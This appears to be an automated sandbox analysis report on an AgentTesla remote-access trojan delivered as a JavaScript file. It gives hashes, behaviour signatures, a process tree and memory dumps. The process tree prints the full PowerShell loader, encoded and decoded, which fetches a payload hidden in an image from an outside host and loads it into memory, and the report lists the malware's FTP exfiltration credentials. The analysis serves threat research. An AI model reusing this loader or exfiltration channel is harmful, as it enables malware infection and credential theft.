Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    25-04-2024 03:42

General

  • Target

    comprobante_9887887.js

  • Size

    5KB

  • MD5

    39f9206f83d0141caec19300d528fd57

  • SHA1

    c78e336bd902973b64108eb003aeb0a92e48bf26

  • SHA256

    a09d8c7cd5db2add2d2aba1810a14afb1f602dd81db92e6f4889d93dfaf455f0

  • SHA512

    b4670af49b60cde81064d4971498b84d38f94b35b49b01c97573eb3ed73870cf0afbb0496f174addec58f3ef435cbf78dd4a20a09f930d44196f72142e9a5097

  • SSDEEP

    96:QcbRUp/NhXhqan4JvvommR39pfh24meHBhmeRqmeRdmeRbmeRoBgmeFFcKRUpl9h:z6rxqqpz+D60S

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.fosna.net
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    =A+N^@~c]~#I

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 9 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\comprobante_9887887.js
    1⤵
    • Blocklisted process makes network request
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LjQ0NDQ2ZXphYi83Ny4wNi41OS4zMi8vOnB0dGgnICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.44446ezab/77.06.59.32//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2468
        • C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    344B

    MD5

    c5be620bd9441aead35ceec79cc13dd9

    SHA1

    93b36ff023bc4168011a270fa5ffdd8f1308f2e5

    SHA256

    9dc7d861cffa91ae6a03808d7ffef3954ac0f0e220da9c9832f82ff0e602917b

    SHA512

    4c55fb9f8c43e6c89b83949aa16456b4fa84eb8acf0fbf83c59317d3cab8400e0f7de64ffbd5c36a8008e93c350a6ca39d93420645b3f2823cb3e89a001bd460

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
    Filesize

    344B

    MD5

    69841b9c1683799c4afefbcd431d044b

    SHA1

    6e406aec93a9644cb9b606bf94cfa8004566b74d

    SHA256

    177b14ae3c6db80404592b209f2252f741586059fe3b527bd810a79a8580a8aa

    SHA512

    e13a942ce6bc9cbedc339e9791cd10bacaa271920c28d275af6094cb8ce8cd98600ec467db7bb810e7a1f8ee8b0d1c8063d43594bbef6b35837e602e9af3268b

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
    Filesize

    242B

    MD5

    12889e595ba7c6845a0c517cfc8de8fa

    SHA1

    b5e0a94be7201cb3e7a5747975ea3419cc9a1020

    SHA256

    b6ac54e98d2fb1872e13412c4b91e171e65d2408d203ff30975722eb8950e0c9

    SHA512

    94eb7ce71dc848480e4a6cdc2fc7e8e313afb44b100512ae32edbc1a8a96c200734d2ee84579e722314ba01144ae1a6a96766a3453c161456a9cb7f6aedb97c5

  • C:\Users\Admin\AppData\Local\Temp\Tar1F45.tmp
    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    e024679b22f994de4378fbe347b19506

    SHA1

    e09a450022ee78c9a4c3e4593f940c1d313399f7

    SHA256

    b09815bd77866ac711d9d297c18d22e5b0db6a3c9e7d1d499cbb8bb0c028ea37

    SHA512

    e3a24d69951ec0ad44850227470721766ec424729d03ddb2a1a023eebbd5cd7880e3750f93463769e12e32b202b884091e03627c05e7e4ecce2565725194e7d6

  • memory/592-155-0x0000000004A40000-0x0000000004A80000-memory.dmp
    Filesize

    256KB

  • memory/592-147-0x0000000000400000-0x0000000000442000-memory.dmp
    Filesize

    264KB

  • memory/592-149-0x0000000000400000-0x0000000000442000-memory.dmp
    Filesize

    264KB

  • memory/592-140-0x0000000000400000-0x0000000000442000-memory.dmp
    Filesize

    264KB

  • memory/592-146-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
    Filesize

    4KB

  • memory/592-151-0x0000000000400000-0x0000000000442000-memory.dmp
    Filesize

    264KB

  • memory/592-153-0x0000000074780000-0x0000000074E6E000-memory.dmp
    Filesize

    6.9MB

  • memory/592-138-0x0000000000400000-0x0000000000442000-memory.dmp
    Filesize

    264KB

  • memory/592-156-0x0000000074780000-0x0000000074E6E000-memory.dmp
    Filesize

    6.9MB

  • memory/592-157-0x0000000004A40000-0x0000000004A80000-memory.dmp
    Filesize

    256KB

  • memory/592-142-0x0000000000400000-0x0000000000442000-memory.dmp
    Filesize

    264KB

  • memory/592-144-0x0000000000400000-0x0000000000442000-memory.dmp
    Filesize

    264KB

  • memory/2468-50-0x0000000002960000-0x00000000029E0000-memory.dmp
    Filesize

    512KB

  • memory/2468-51-0x0000000002960000-0x00000000029E0000-memory.dmp
    Filesize

    512KB

  • memory/2468-132-0x0000000002960000-0x00000000029E0000-memory.dmp
    Filesize

    512KB

  • memory/2468-133-0x0000000002960000-0x00000000029E0000-memory.dmp
    Filesize

    512KB

  • memory/2468-134-0x0000000002960000-0x00000000029E0000-memory.dmp
    Filesize

    512KB

  • memory/2468-137-0x000000001ADC0000-0x000000001B080000-memory.dmp
    Filesize

    2.8MB

  • memory/2468-152-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp
    Filesize

    9.6MB

  • memory/2468-48-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp
    Filesize

    9.6MB

  • memory/2468-49-0x0000000002960000-0x00000000029E0000-memory.dmp
    Filesize

    512KB

  • memory/2468-131-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp
    Filesize

    9.6MB

  • memory/2508-52-0x0000000002B80000-0x0000000002C00000-memory.dmp
    Filesize

    512KB

  • memory/2508-128-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp
    Filesize

    9.6MB

  • memory/2508-129-0x0000000002B80000-0x0000000002C00000-memory.dmp
    Filesize

    512KB

  • memory/2508-47-0x0000000002B80000-0x0000000002C00000-memory.dmp
    Filesize

    512KB

  • memory/2508-130-0x0000000002B80000-0x0000000002C00000-memory.dmp
    Filesize

    512KB

  • memory/2508-46-0x0000000002B80000-0x0000000002C00000-memory.dmp
    Filesize

    512KB

  • memory/2508-154-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp
    Filesize

    9.6MB

  • memory/2508-45-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmp
    Filesize

    9.6MB

  • memory/2508-39-0x0000000001ED0000-0x0000000001ED8000-memory.dmp
    Filesize

    32KB

  • memory/2508-38-0x000000001B7A0000-0x000000001BA82000-memory.dmp
    Filesize

    2.9MB